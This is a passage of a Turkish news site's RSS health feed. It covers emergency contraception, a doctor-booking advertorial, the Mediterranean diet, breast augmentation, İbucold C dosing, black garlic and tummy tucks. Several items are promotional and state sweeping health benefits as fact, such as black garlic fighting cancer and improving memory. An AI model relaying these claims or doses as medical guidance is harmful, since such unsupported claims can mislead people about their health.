<p>İçeriğinde yüksek dozda progesteron hormonu bulunur. Bu hormon, temel olarak yumurtlamayı geciktirerek veya döllenmeyi engelleyerek etki gösterir. Bazı durumlarda, döllenmiş yumurtanın rahme yerleşmesini de zorlaştırabilir.</p>

<p><strong>Önemli noktalar:</strong></p>

<ul>
	<li>Ertesi gün hapı, düzenli bir doğum kontrol yöntemi değildir ve sık kullanılması önerilmez.</li>
	<li>Korunmasız cinsel ilişkiden sonra ne kadar erken alınırsa etkinliği o kadar artar. Genellikle ilk 72 saat içinde alınması önerilir, ancak bazı türleri 120 saate kadar etkili olabilir.</li>
	<li>Ertesi gün hapı, mevcut bir gebeliği sonlandırmaz.</li>
	<li>Cinsel yolla bulaşan hastalıklara karşı koruma sağlamaz.</li>
	<li>Eczanelerden reçetesiz olarak temin edilebilir.</li>
</ul>

<h2>Ella Ertesi Gün Hapı Fiyatı 2025</h2>

<p>Ella ertesi gün hapının fiyatı, Mayıs 2025 itibarıyla yaklaşık olarak <strong>600 TL ile 650 TL</strong> arasında değişmektedir.</p>

<p>&nbsp;</p>

<p>SAĞLIK TAVSİYESİ DEĞİLDİR..</p>]]></content:encoded>
                <pubDate>Thu, 01 May 2025 12:29:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/05/ella-ertesi-gun-hapi-fiyati-2025-1746092035.jpeg"/>
            </item>
                                <item>
                <title>UZMAN DOKTORLARI HIZLI VE KOLAY KEŞFEDİN, HEMEN RANDEVU ALIN!</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/uzman-doktorlari-hizli-ve-kolay-kesfedin-hemen-randevu-alin-551593</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/uzman-doktorlari-hizli-ve-kolay-kesfedin-hemen-randevu-alin-551593</guid>
                <description><![CDATA[UZMAN DOKTORLARI HIZLI VE KOLAY KEŞFEDİN, HEMEN RANDEVU ALIN!]]></description>
                <content:encoded><![CDATA[<p>Sağlık sorunlarıyla boğuşmak, zaman zaman oldukça zorlayıcı olabiliyor. İşte tam bu noktada, doğru <strong>doktor</strong>u bulmak ve hızlı bir şekilde randevu almak büyük önem taşıyor. Sizi gereksiz stresten uzak tutmak ve en kısa sürede uzman desteği almanıza yardımcı olmak için buradayız. <strong>UZMAN DOKTORLARI HIZLI VE KOLAY KEŞFEDİN, HEMEN RANDEVU ALIN!</strong> Aradığınız uzmanlık alanındaki <strong>doktorlar</strong>ı kolayca bulabilir, bilgilerini inceleyebilir ve birkaç tıklama ile randevunuzu oluşturabilirsiniz. Sistemimiz, size en uygun <strong>doktor randevu</strong> seçeneklerini sunarak sürecinizi kolaylaştırmayı amaçlıyor. Sağlığınız bizim önceliğimiz; bu nedenle, siz değerli zamanınızı en verimli şekilde kullanmanız için çalışıyoruz.</p>

<h3>Ana Noktalar</h3>

<ol>
	<li>Hızlı ve kolay bir şekilde uzman <strong>doktor</strong>lara ulaşabilirsiniz.</li>
	<li>İhtiyaç duyduğunuz uzmanlık alanındaki <strong>doktorlar</strong>ı kolayca bulabilirsiniz.</li>
	<li><strong><a href="https://istebudoktor.com.tr/" rel="noopener" target="_blank" title="https://istebudoktor.com.tr/">Doktor randevu</a></strong> işlemlerinizi birkaç tıklama ile tamamlayabilirsiniz.</li>
	<li>Size en uygun <strong>doktor</strong> seçeneklerini sunarak zamanınızdan tasarruf etmenizi sağlarız. Hemen İşte Bu Doktor sitesine gidip sizlerde randevu alabilirsiniz. <a href="https://istebudoktor.com.tr/" rel="noopener" target="_blank" title="https://istebudoktor.com.tr/">https://istebudoktor.com.tr/</a></li>
</ol>

<h2>Uzman Doktorunuzu Hızlıca Bulun ve Anında Randevu Alın!</h2>

<p>Sağlık sorunlarınızda zaman kaybetmek istemezsiniz, değil mi? <strong>Doktor bul</strong>ma süreci bazen oldukça karmaşık olabiliyor. İşte tam bu noktada, size zaman kazandıracak ve doğru <strong>doktor randevu</strong>suna ulaşmanızı sağlayacak pratik bir çözüm sunuyoruz. Aradığınız uzmanlık alanına sahip <strong><a href="https://istebudoktor.com.tr/" rel="noopener" target="_blank" title="https://istebudoktor.com.tr/">işte bu doktor</a></strong>u hızlıca bulmak ve anında randevu almak için platformumuzu kullanabilirsiniz. Sistemimiz, belirli kriterlere göre filtreleme yapmanıza olanak tanır; ancak, bazen beklenmedik sonuçlar da alabilirsiniz. Bu nedenle, araştırmanızı detaylı yapmanızda fayda var. Herhangi bir sağlık sorunu için doğru uzmana ulaşmak oldukça önemlidir. Özellikle acil durumlarda, hızlı ve etkili bir şekilde doğru doktora ulaşmak hayat kurtarıcı olabilir.</p>

<p>Platformumuzun sunduğu kolaylık sayesinde, uzman doktor arayışınızda zamandan ve emekten tasarruf edeceksiniz. Sistemimiz, size en uygun doktorları bulmanızda size yardımcı olur; fakat, son kararı yine siz vereceksiniz. Unutmayın, sağlığınız en önemli varlığınızdır.</p>

<h3>Hemen Başlayın!</h3>

<ol>
	<li>Arama çubuğuna uzmanlık alanını yazın.</li>
	<li>Konumunuzu belirleyin.</li>
	<li>Uygun doktorları inceleyin ve randevu alın.</li>
</ol>

<p>Sistemimiz, bazen beklenmedik sonuçlar verebilir. Bu nedenle, bulduğunuz doktor hakkında daha fazla bilgi edinmek için kendi araştırmanızı yapmanızı öneririz. Sonuçta, sağlığınız söz konusu olduğunda, herhangi bir şüpheyi gidermek önemlidir. Umarız, platformumuz size yardımcı olur ve sağlıklı günler dileriz.</p>

<h2>En İyi Doktorları Keşfedin: Hızlı, Kolay ve Güvenilir Randevu Sistemi</h2>

<p>Sağlık sorunlarınızda doğru uzmana ulaşmak zaman zaman zorlayıcı olabiliyor. <strong>Hızlı</strong> ve <strong>kolay</strong> bir çözüm arıyorsanız, işte size güvenilir bir randevu sistemi. Bu sistem, <strong>uzman doktorları</strong> bulmanızı ve randevu almanızı kolaylaştırıyor; ancak, bazı uzmanlık alanlarında bekleme süreleri uzun olabiliyor. Sistemin güvenilirliği, doktorların profillerinin doğrulanması ve kullanıcı yorumlarına dayanıyor. Yine de, her doktorun başarı oranı farklılık gösterebilir, bu nedenle öncelikle doktorun uzmanlık alanını ve hasta yorumlarını dikkatlice incelemenizi tavsiye ederim. Özellikle acil durumlarda, öncelikle 112'yi aramanızı öneririz. Bu sistem, pratik bir çözüm sunuyor; fakat her zaman en hızlısı olmayabilir, çünkü randevu müsaitliği doktorların yoğunluğuna göre değişir.</p>

<p>Sistem, çeşitli filtreleme seçenekleri sunarak aradığınız <strong>uzman doktorları</strong> bulmanızı kolaylaştırır. Bununla birlikte, sistemde yer alan tüm doktorlar aynı kalitede hizmet vermeyebilir. Bu nedenle, kişisel tercihlerinizi ve ihtiyaçlarınızı göz önünde bulundurmanız önemlidir. Bilgilerin doğruluğunu teyit etmek için doktorun kendi web sitesini veya iletişim bilgilerini kontrol edebilirsiniz. Sistem, pratik ve kullanışlı; ama mükemmel değil. Sonuçta, en iyi doktoru bulmak kişisel bir süreçtir ve bu sistem size bu süreçte yardımcı olmak için tasarlanmıştır.</p>

<h3>Sistem Nasıl Çalışır?</h3>

<p>Sistemi kullanmak oldukça basittir. Arama çubuğuna uzmanlık alanını girerek başlayın. Sonrasında, konumunuzu belirleyin ve filtreleme seçeneklerini kullanarak aramanızı daraltın. Müsaitlik takvimini inceleyerek size uygun bir randevu seçebilirsiniz. Sistem, ödeme işlemlerini de kolaylaştırır. Ama, sistemde yaşanabilecek teknik sorunlar için iletişim bilgilerini kontrol etmeyi unutmayın.</p>

<table>
	<tbody>
		<tr>
			<th>Özellik</th>
			<th>Açıklama</th>
		</tr>
		<tr>
			<td>Hızlı Arama</td>
			<td>Uzmanlık alanına göre hızlı arama imkanı.</td>
		</tr>
		<tr>
			<td>Kolay Randevu</td>
			<td>Müsaitlik takvimi ile kolay randevu alma.</td>
		</tr>
		<tr>
			<td>Güvenilir Sistem</td>
			<td>Doğrulanmış doktor profilleri ve kullanıcı yorumları.</td>
		</tr>
	</tbody>
</table>

<h2>Sonuç</h2>

<p>UZMAN DOKTORLARI HIZLI VE KOLAY KEŞFEDİN, HEMEN RANDEVU ALIN! Sağlığınız değerli; zamanınız da öyle. Bu yüzden, uzman bir doktora ulaşmak için saatlerce araştırma yapmanıza gerek yok. Platformumuz sayesinde, ihtiyaç duyduğunuz uzmanlık alanındaki doktorları kolayca bulabilir, ve hemen randevu alabilirsiniz. Sürecinizi hızlandırarak, sağlığınıza odaklanmanıza olanak tanıyoruz. Unutmayın, sağlığınız için en doğru adımı atmak, doğru uzmana hızlıca ulaşmakla başlar. UZMAN DOKTORLARI HIZLI VE KOLAY KEŞFEDİN, HEMEN RANDEVU ALIN! ve kendinizi daha iyi hissetmeye başlayın.</p>

<h2>Sıkça Sorulan Sorular</h2>

<h3>Uzman doktor bulma işlemi ne kadar sürer?</h3>

<p>Platformumuz, geniş bir uzman doktor veritabanına sahiptir. Aranılan kriterlere (branş, konum, sigorta vb.) bağlı olarak, uygun doktorları bulmak genellikle birkaç dakika sürer. Randevu alma süreci ise seçtiğiniz doktorun müsaitlik durumuna göre değişir, ancak genellikle hızlı ve kolaydır.</p>

<h3>Sistemde tüm uzmanlık alanları mevcut mu?</h3>

<p>Sistemimiz sürekli güncellenmektedir ve mümkün olduğunca geniş bir uzmanlık yelpazesini kapsamayı hedeflemektedir. Ancak, tüm uzmanlık alanları her bölgede bulunmayabilir. Aradığınız uzmanlık alanını bulamazsanız, lütfen iletişim bilgilerimizden bize ulaşın, size yardımcı olmaktan mutluluk duyarız.</p>

<h3>Randevu iptali veya değişikliği nasıl yapabilirim?</h3>

<p>Randevu iptali veya değişikliği için, genellikle platformumuzda bulunan randevu yönetim bölümünden veya doğrudan seçtiğiniz doktorun muayenehanesiyle iletişime geçerek yapabilirsiniz. İptal veya değişiklik politikaları doktorlara göre değişiklik gösterebilir, bu yüzden randevu onayınızda belirtilen talimatları takip etmenizi öneririz.</p>]]></content:encoded>
                <pubDate>Wed, 30 Apr 2025 22:26:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/04/uzman-doktorlari-hizli-ve-kolay-kesfedin-hemen-randevu-alin-1746041200.jpg"/>
            </item>
                                <item>
                <title>Akdeniz Diyetiyle Kanser Riskine %20&#039;lik Darbe!</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/akdeniz-diyetiyle-kanser-riskine-20lik-darbe-551560</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/akdeniz-diyetiyle-kanser-riskine-20lik-darbe-551560</guid>
                <description><![CDATA[Sağlıklı yaşamın sırrı belki de yüzyıllardır yanı başımızda yatıyor! Yeni araştırmalar, Akdeniz diyetinin kanser riskini çarpıcı bir şekilde, tam %20 oranında azaltabileceğini ortaya koydu.]]></description>
                <content:encoded><![CDATA[<p>Zeytinyağının altın ışıltısı, taze sebzelerin canlı renkleri ve balığın denizden gelen bereketi, sadece sofralarımızı değil, sağlığımızı da dönüştürüyor.</p>

<p>Bu beslenme düzeni, sadece lezzetli bir tercih olmanın ötesine geçerek, vücudumuz için adeta bir kalkan görevi görüyor. Antioksidan zengini sebzeler ve meyveler, sağlıklı yağlar, tam tahıllar ve ölçülü miktarda protein içeren Akdeniz diyeti, kanser hücrelerinin oluşumunu ve gelişimini engellemede önemli rol oynuyor.</p>

<p>Uzmanlar, bu etkinin ardında yatan temel nedenleri şöyle sıralıyor:</p>

<ul>
	<li><strong>Anti-inflamatuar Güç:</strong> Zeytinyağı ve omega-3 yağ asitleri bakımından zengin olan bu diyet, vücuttaki kronik iltihaplanmayı azaltarak kanser riskini düşürüyor.</li>
	<li><strong>Antioksidan Bombası:</strong> Meyve, sebze ve tam tahıllarda bolca bulunan antioksidanlar, hücre hasarını önleyerek kansere karşı koruma sağlıyor.</li>
	<li><strong>Hormonal Denge:</strong> Lif içeriği yüksek besinler, hormon seviyelerini düzenleyerek özellikle hormon bağımlı kanser türlerinin riskini azaltabiliyor.</li>
	<li><strong>Sağlıklı Kilo Kontrolü:</strong> Dengeli beslenme ve düşük işlenmiş gıda içeriği sayesinde ideal kiloyu korumaya yardımcı olarak obezite kaynaklı kanser riskini düşürüyor.</li>
</ul>

<p>Akdeniz diyetini benimsemek için karmaşık tariflere veya ulaşılması zor malzemelere gerek yok. Mevsiminde taze sebzelerle hazırlanmış salatalar, zeytinyağlılar, ızgara balık veya tavuk, tam buğday ekmeği ve bolca meyve tüketerek bu sağlıklı yaşam tarzının kapılarını aralayabilirsiniz.</p>

<p>Unutmayın, sağlıklı bir gelecek için atılacak en lezzetli adımlardan biri Akdeniz diyetini sofralarınıza taşımak! Kanser riskini azaltmanın yanı sıra kalp sağlığınızı destekleyecek, enerjinizi artıracak ve yaşam kalitenizi yükseltecek bu eşsiz beslenme biçimi, uzun ve sağlıklı bir ömür için güçlü bir yatırım.</p>]]></content:encoded>
                <pubDate>Wed, 16 Apr 2025 10:46:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/04/akdeniz-diyetiyle-kanser-riskine-20lik-darbe-1744789671.jpeg"/>
            </item>
                                <item>
                <title>Sır Perdesi Aralanıyor: Meme Büyütme Ameliyatına Dair Bilmedikleriniz</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/sir-perdesi-aralaniyor-meme-buyutme-ameliyatina-dair-bilmedikleriniz-551559</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/sir-perdesi-aralaniyor-meme-buyutme-ameliyatina-dair-bilmedikleriniz-551559</guid>
                <description><![CDATA[Meme büyütme ameliyatı, vücut hatlarını iyileştirmek, özgüveni artırmak ve kıyafetlerin daha iyi durmasını sağlamak amacıyla dünya genelinde sıklıkla tercih edilen estetik operasyonlardan biridir.]]></description>
                <content:encoded><![CDATA[<p>Ancak popülerliğine rağmen, bu prosedür hakkında hala birçok yanlış anlama ve eksik bilgi bulunmaktadır. Bu makalede, meme büyütme ameliyatına dair belki de daha önce duymadığınız, karar verme sürecinizde size ışık tutacak önemli noktalara değineceğiz.</p>

<p><strong>1. İmplant Seçenekleri Sadece Boyutla Sınırlı Değil:</strong></p>

<p>Çoğu kişi meme implantlarını sadece farklı boyutlarda düşünür. Oysa implantlar, kullanılan materyal (silikon veya salin), şekil (yuvarlak veya anatomik/damla), yüzey yapısı (pürüzsüz veya pürtüklü) ve profil (düşük, orta, yüksek) gibi pek çok farklı özelliğe sahiptir. İdeal implant seçimi, kişinin vücut yapısı, meme dokusu, beklentileri ve cerrahın tecrübesi doğrultusunda kişiye özel olarak yapılmalıdır.</p>

<p><strong>2. Ameliyat Sadece Estetik Kaygılarla Yapılmaz:</strong></p>

<p>Meme büyütme ameliyatı genellikle kozmetik bir prosedür olarak algılansa da, bazı durumlarda tıbbi nedenlerle de yapılabilir. Örneğin, meme rekonstrüksiyonu (mastektomi sonrası meme onarımı) veya doğuştan gelen meme asimetrisi gibi durumlarda meme büyütme teknikleri kullanılabilir. Bu tür durumlarda amaç, sadece estetik görünümü iyileştirmek değil, aynı zamanda hastanın psikolojik iyilik halini de desteklemektir.</p>

<p><strong>3. İyileşme Süreci Beklenenden Daha Uzun Sürebilir:</strong></p>

<p>Meme büyütme ameliyatı sonrası ilk birkaç gün ağrı, şişlik ve morluklar normaldir. Ancak tam iyileşme süreci birkaç hafta hatta ayları bulabilir. Özellikle implantların yerleşmesi ve meme dokusunun yeni şekline adapte olması zaman alır. Bu süreçte doktorun önerilerine harfiyen uymak, ağır kaldırmaktan kaçınmak ve uygun sütyen kullanmak önemlidir.</p>

<p><strong>4. İmplantlar Ömür Boyu Kalıcı Değildir:</strong></p>

<p>Piyasada "ömür boyu garantili" olarak lanse edilen bazı implantlar olsa da, genel olarak meme implantlarının belirli bir ömrü vardır. Bu süre kişiden kişiye, kullanılan implantın kalitesine ve vücudun reaksiyonuna göre değişebilir. Zamanla implantlarda yırtılma, sızıntı veya kapsül kontraktürü (implant çevresinde sertleşme) gibi komplikasyonlar gelişebilir. Bu nedenle, düzenli doktor kontrolü ve gerekirse revizyon ameliyatı gerekebilir.</p>

<p><strong>5. Emzirme Yeteneği Her Zaman Etkilenmez:</strong></p>

<p>Meme büyütme ameliyatı geçiren birçok kadın başarılı bir şekilde emzirebilmektedir. Ancak cerrahi teknik ve implantın yerleştirildiği bölge emzirme yeteneğini etkileyebilir. Özellikle meme başı çevresinden yapılan kesiler süt kanallarına zarar verme riski taşıyabilir. Bu nedenle, gelecekte emzirme planı olan kadınların bu konuyu ameliyat öncesinde cerrahlarıyla detaylı olarak konuşmaları önemlidir.</p>

<p><strong>6. Meme Büyütme Ameliyatı Kilo Alıp Vermekten Etkilenir:</strong></p>

<p>Tıpkı doğal memeler gibi, meme implantları da kilo alıp verme süreçlerinden etkilenebilir. Kilo alımıyla birlikte meme dokusu ve yağ dokusu artacağından memeler daha büyük görünebilir. Kilo kaybıyla ise meme dokusu ve yağ dokusu azalacağından memelerde sarkma ve hacim kaybı yaşanabilir. Bu nedenle, ameliyat sonrası ideal kilonuzu korumaya özen göstermek önemlidir.</p>

<p><strong>7. Meme Büyütme Ameliyatı İz Bırakır:</strong></p>

<p>Her cerrahi müdahalede olduğu gibi, meme büyütme ameliyatı da mutlaka iz bırakır. Ancak deneyimli bir cerrah, kesileri mümkün olduğunca görünmeyen bölgelere (meme altı kıvrımı, meme başı çevresi, koltuk altı) yerleştirerek izlerin minimal olmasını sağlayabilir. İyileşme sürecinde doğru bakım ve bazı özel kremler kullanılarak izlerin görünümü zamanla daha da hafifleyebilir.</p>

<p><strong>8. Psikolojik Hazırlık da En Az Fiziksel Hazırlık Kadar Önemlidir:</strong></p>

<p>Meme büyütme ameliyatı sadece fiziksel bir değişim değil, aynı zamanda psikolojik bir süreçtir. Ameliyat öncesinde gerçekçi beklentilere sahip olmak, motivasyonunuzu netleştirmek ve olası komplikasyonlara karşı hazırlıklı olmak önemlidir. Gerekirse bir psikologdan destek almak, ameliyat sonrası uyum sürecinizi kolaylaştırabilir.</p>

<p>&nbsp;</p>

<p>Meme büyütme ameliyatı, doğru bilgi ve beklentilerle yaklaşıldığında hayat kalitesini önemli ölçüde artırabilen bir prosedürdür. Ancak bu kararı verirken aceleci davranmamak, farklı kaynaklardan bilgi edinmek ve deneyimli bir estetik cerrah ile detaylı bir görüşme yapmak hayati önem taşır. Unutmayın, her bireyin vücut yapısı ve beklentileri farklıdır ve en iyi sonuç, kişiye özel planlanmış bir yaklaşımla elde edilir.</p>

<p>sağlık tavsiyesi değildir</p>]]></content:encoded>
                <pubDate>Wed, 16 Apr 2025 10:42:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/04/sir-perdesi-aralaniyor-meme-buyutme-ameliyatina-dair-bilmedikleriniz-1744789462.jpeg"/>
            </item>
                                <item>
                <title>İbucold C Ne İçin Kullanılır?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/ibucold-c-ne-icin-kullanilir-551428</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/ibucold-c-ne-icin-kullanilir-551428</guid>
                <description><![CDATA[İbucold C Nedir, Ne için Kullanılır, Kullanma Talimatı]]></description>
                <content:encoded><![CDATA[<p>İbucold C, soğuk algınlığı ve grip semptomlarını hafifletmek için kullanılan bir ilaçtır. İçeriğinde ağrı kesici ve ateş düşürücü olarak ibuprofen, burun tıkanıklığını giderici psödoefedrin ve bağışıklık sistemini destekleyici C vitamini bulunur.</p>

<h2>İbucold C Ne İçin Kullanılır?</h2>

<p>İbucold C, aşağıdaki durumlarda kullanılır:</p>

<ul>
	<li>Soğuk algınlığı ve grip semptomlarının (baş ağrısı, boğaz ağrısı, burun tıkanıklığı, ateş, vücut ağrıları) giderilmesi</li>
	<li>Sinüzit ve diğer üst solunum yolu enfeksiyonlarına bağlı semptomların hafifletilmesi</li>
</ul>

<h2>İbucold C Nasıl Kullanılır?</h2>

<p>İbucold C'nin kullanımıyla ilgili genel bilgiler şunlardır:</p>

<ul>
	<li>Doktorunuz veya eczacınız tarafından aksi belirtilmedikçe, yetişkinler ve 12 yaş üzeri çocuklar için önerilen doz, günde 3 defa 1-2 tablettir.</li>
	<li>Tabletler, bir bardak su ile bütün olarak yutulmalıdır.</li>
	<li>İlacı aç karnına veya tok karnına alabilirsiniz.</li>
	<li>Belirtileriniz düzelmezse veya kötüleşirse, doktorunuza danışın.</li>
</ul>

<h2>İbucold C Kullanma Talimatı</h2>

<p>İbucold C kullanma talimatında yer alan önemli bilgiler şunlardır:</p>

<ul>
	<li>İlacı kullanmadan önce prospektüsü dikkatlice okuyun.</li>
	<li>Doktorunuzun veya eczacınızın önerdiği dozu aşmayın.</li>
	<li>İlacı 5 günden fazla kullanmayın.</li>
	<li>Aşağıdaki durumlarda İbucold C kullanmayın:
	<ul>
		<li>İbuprofen, psödoefedrin veya C vitaminine alerjiniz varsa</li>
		<li>Mide veya bağırsak ülseriniz varsa</li>
		<li>Ciddi kalp, karaciğer veya böbrek hastalığınız varsa</li>
		<li>Yüksek tansiyonunuz veya glokomunuz varsa</li>
		<li>Hamile veya emziriyorsanız</li>
		<li>MAO inhibitörü türü antidepresan ilaçlar kullanıyorsanız veya bu ilaçların kullanımının üzerinden henüz 14 gün geçmemiş ise</li>
	</ul>
	</li>
	<li>İbucold C kullanırken alkol tüketmeyin.</li>
	<li>İlaç kullanımı ile ilgili daha detaylı bilgi almak için prospektüsü okuyabilir veya doktorunuza danışabilirsiniz.</li>
</ul>

<h2>İbucold C'nin Yan Etkileri</h2>

<p>İbucold C'nin yaygın yan etkileri arasında mide bulantısı, kusma, baş dönmesi ve uykusuzluk yer alır. Daha ciddi yan etkiler nadirdir, ancak alerjik reaksiyonlar, mide kanaması ve kalp sorunları gibi durumlar görülebilir. Herhangi bir yan etki yaşarsanız, doktorunuza danışın.</p>

<h2>Önemli Not</h2>

<p>Bu bilgiler genel bilgilendirme amaçlıdır ve doktor tavsiyesi yerine geçmez. İbucold C veya herhangi bir ilaç kullanmadan önce mutlaka doktorunuza veya eczacınıza danışın.</p>]]></content:encoded>
                <pubDate>Wed, 12 Mar 2025 15:46:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/03/ibucold-c-ne-icin-kullanilir-1741783654.png"/>
            </item>
                                <item>
                <title>Siyah Sarımsak Nedir?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/siyah-sarimsak-nedir-551427</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/siyah-sarimsak-nedir-551427</guid>
                <description><![CDATA[Fermente Mucize: Siyah Sarımsağın Sağlığa Faydaları]]></description>
                <content:encoded><![CDATA[<p>Siyah sarımsak, son yıllarda popülerliği giderek artan, geleneksel beyaz sarımsağın özel bir işlemden geçirilmesiyle elde edilen bir süper gıdadır. Fermente edilmiş sarımsak olarak da bilinen siyah sarımsak, kendine özgü tatlımsı tadı ve sağlık açısından sunduğu zengin faydalarıyla dikkat çekmektedir.</p>

<p><strong>Siyah Sarımsak Nasıl Elde Edilir?</strong></p>

<p>Siyah sarımsak, beyaz sarımsağın belirli bir sıcaklık ve nem oranında, yaklaşık 1 ay boyunca fermente edilmesiyle elde edilir. Bu süreçte sarımsağın içerisindeki şeker ve amino asitler tepkimeye girerek melanoidin adı verilen koyu renkli bileşikleri oluşturur. Bu bileşikler, sarımsağın siyah rengini ve kendine has tadını kazanmasını sağlar.</p>

<p><strong>Siyah Sarımsağın Faydaları:</strong></p>

<ul>
	<li><strong>Güçlü Antioksidan Etki:</strong> Siyah sarımsak, beyaz sarımsağa göre çok daha yüksek oranda antioksidan içerir. Antioksidanlar, vücuttaki serbest radikallerle savaşarak hücre hasarını önler ve yaşlanma sürecini yavaşlatır.</li>
	<li><strong>Bağışıklık Sistemini Güçlendirir:</strong> İçerdiği yüksek antioksidan ve besin değerleri sayesinde bağışıklık sistemini güçlendirir, hastalıklara karşı direnci artırır.</li>
	<li><strong>Kalp Sağlığını Korur:</strong> Kolesterol ve trigliserit seviyelerini düşürerek kalp ve damar sağlığını korur, yüksek tansiyonu dengelemeye yardımcı olur.</li>
	<li><strong>Kanserle Mücadelede Destekleyici:</strong> Bazı araştırmalar, siyah sarımsağın kanser hücrelerinin büyümesini yavaşlatabileceğini ve tümör oluşumunu engelleyebileceğini göstermektedir.</li>
	<li><strong>Beyin Fonksiyonlarını İyileştirir:</strong> Antioksidan içeriği sayesinde beyin hücrelerini korur, hafızayı güçlendirir ve bilişsel fonksiyonları destekler.</li>
	<li><strong>Sindirim Sistemini Düzenler:</strong> Sindirim sistemini düzenler, bağırsak florasını iyileştirir ve sindirim sorunlarını gidermeye yardımcı olur.</li>
	<li><strong>Enerji Verir ve Yorgunluğu Azaltır:</strong> İçerdiği vitamin ve mineraller sayesinde enerji seviyesini yükseltir, yorgunluk ve halsizlik hissini azaltır.</li>
	<li><strong>Cilt Sağlığını İyileştirir:</strong> Antioksidan ve anti-enflamatuar özellikleri sayesinde cilt sağlığını iyileştirir, yaşlanma belirtilerini geciktirir ve ciltteki lekeleri azaltır.</li>
</ul>

<p><strong>Siyah Sarımsak Nasıl Tüketilir?</strong></p>

<p>Siyah sarımsak, çiğ olarak tüketilebileceği gibi yemeklere de eklenebilir. Kendine has tatlımsı tadı sayesinde salatalara, sandviçlere, makarnalara ve et yemeklerine farklı bir lezzet katar. Ayrıca, siyah sarımsak ezmesi veya yağı da kullanılabilir.</p>

<p><strong>Siyah Sarımsak Tüketirken Dikkat Edilmesi Gerekenler:</strong></p>

<p>Siyah sarımsak genellikle güvenli bir besin olarak kabul edilir. Ancak, bazı kişilerde alerjik reaksiyonlara veya sindirim sorunlarına neden olabilir. Özellikle sarımsak alerjisi olan kişilerin ve kan sulandırıcı ilaç kullananların siyah sarımsak tüketmeden önce doktorlarına danışmaları önerilir.</p>

<p>Siyah sarımsak, sağlık açısından pek çok fayda sunan değerli bir besindir. Düzenli olarak tüketildiğinde, vücudun bağışıklık sistemini güçlendirmeye, kalp sağlığını korumaya, beyin fonksiyonlarını iyileştirmeye ve genel sağlığı desteklemeye yardımcı olur.</p>

<p>Sağlık tavsiyesi değildir.</p>]]></content:encoded>
                <pubDate>Wed, 12 Mar 2025 13:50:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/03/siyah-sarimsak-nedir-1741776722.png"/>
            </item>
                                <item>
                <title>Karın Germe: Göbek Etrafındaki Fazla Derilerden Kurtulmanın Yolu</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/karin-germe-gobek-etrafindaki-fazla-derilerden-kurtulmanin-yolu-549627</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/karin-germe-gobek-etrafindaki-fazla-derilerden-kurtulmanin-yolu-549627</guid>
                <description><![CDATA[]]></description>
                <content:encoded><![CDATA[<h2>&nbsp;</h2>

<h2>Karın Germe: Göbek Etrafındaki Fazla Derilerden Kurtulmanın Yolu</h2>

<p>&nbsp;</p>

<p>Karın Germe, göbek bölgesindeki fazla yağ ve deriyi alarak daha düzgün ve sıkı bir görünüm sağlamayı amaçlayan bir kozmetik cerrahi işlemdir. Türkiye'de bu işlem oldukça popülerdir ve birçok kişi daha fit ve estetik bir görünüm elde etmek için Karın Germe yaptırmaktadır.</p>

<p>&nbsp;</p>

<p>Eğer Karın Germe düşünüyorsanız, işlemi ve avantajlarını, risklerini ve iyileşme sürecini anlamanız önemlidir. Bu makalede, Türkiye'de Karın Germe hakkında bilmeniz gereken her şeyi tartışacağız.</p>

<p><img src="https://www.haberlermersin.com/images/upload/Screenshot_328.png" /></p>

<p><strong>Karın Germe Nedir?</strong></p>

<p>&nbsp;</p>

<p><a href="https://www.drleyla.com/karin-germe/"><strong>Karın Germe</strong></a>, göbek bölgesindeki fazla yağ ve deriyi alarak daha düzgün ve sıkı bir görünüm sağlayan bir kozmetik cerrahi işlemdir. İşlem, alt karın bölgesinde bir kesik yapılarak gerçekleştirilir ve fazla yağ ve deri alındıktan sonra geri kalan deri sıkılaştırılır. İşlem genellikle genel anestezi altında yapılır ve yaklaşık iki ila dört saat sürer.</p>

<p>&nbsp;</p>

<p><strong>Karın Germe'nin Avantajları Nelerdir?</strong></p>

<p>&nbsp;</p>

<p>Karın Germe, birçok avantaj sağlayabilir, bunlar şunları içerir:</p>

<p>&nbsp;</p>

<p>Görünümünüzü iyileştirir: Karın Germe, daha düzgün, sıkı ve fit bir göbek bölgesi elde etmenizi sağlar ve genel görünümünüzü ve özgüveninizi artırabilir.</p>

<p>&nbsp;</p>

<p>Duruşunuzu iyileştirir: Karın Germe, karın kaslarını sıkılaştırarak ve sırtınızdaki yükü azaltarak duruşunuzu iyileştirebilir.</p>

<p>&nbsp;</p>

<p>Cilt tahrişini azaltır: Göbek bölgesindeki fazla deri tahrişe ve rahatsızlığa neden olabilir. Karın Germe, bu fazla deriyi alarak tahrişi azaltabilir.</p>

<p>&nbsp;</p>

<p><strong>Karın Germe'nin Riskleri Nelerdir?</strong></p>

<p>&nbsp;</p>

<p>Her cerrahi işlem gibi, Karın Germe de riskler taşır. Bu riskler şunları içerebilir:</p>

<p>&nbsp;</p>

<ul>
	<li><strong>Kanama</strong>: İşlem sırasında veya sonrasında aşırı kanama olabilir ve ek tıbbi müdahale gerektirebilir.</li>
</ul>

<p>&nbsp;</p>

<ul>
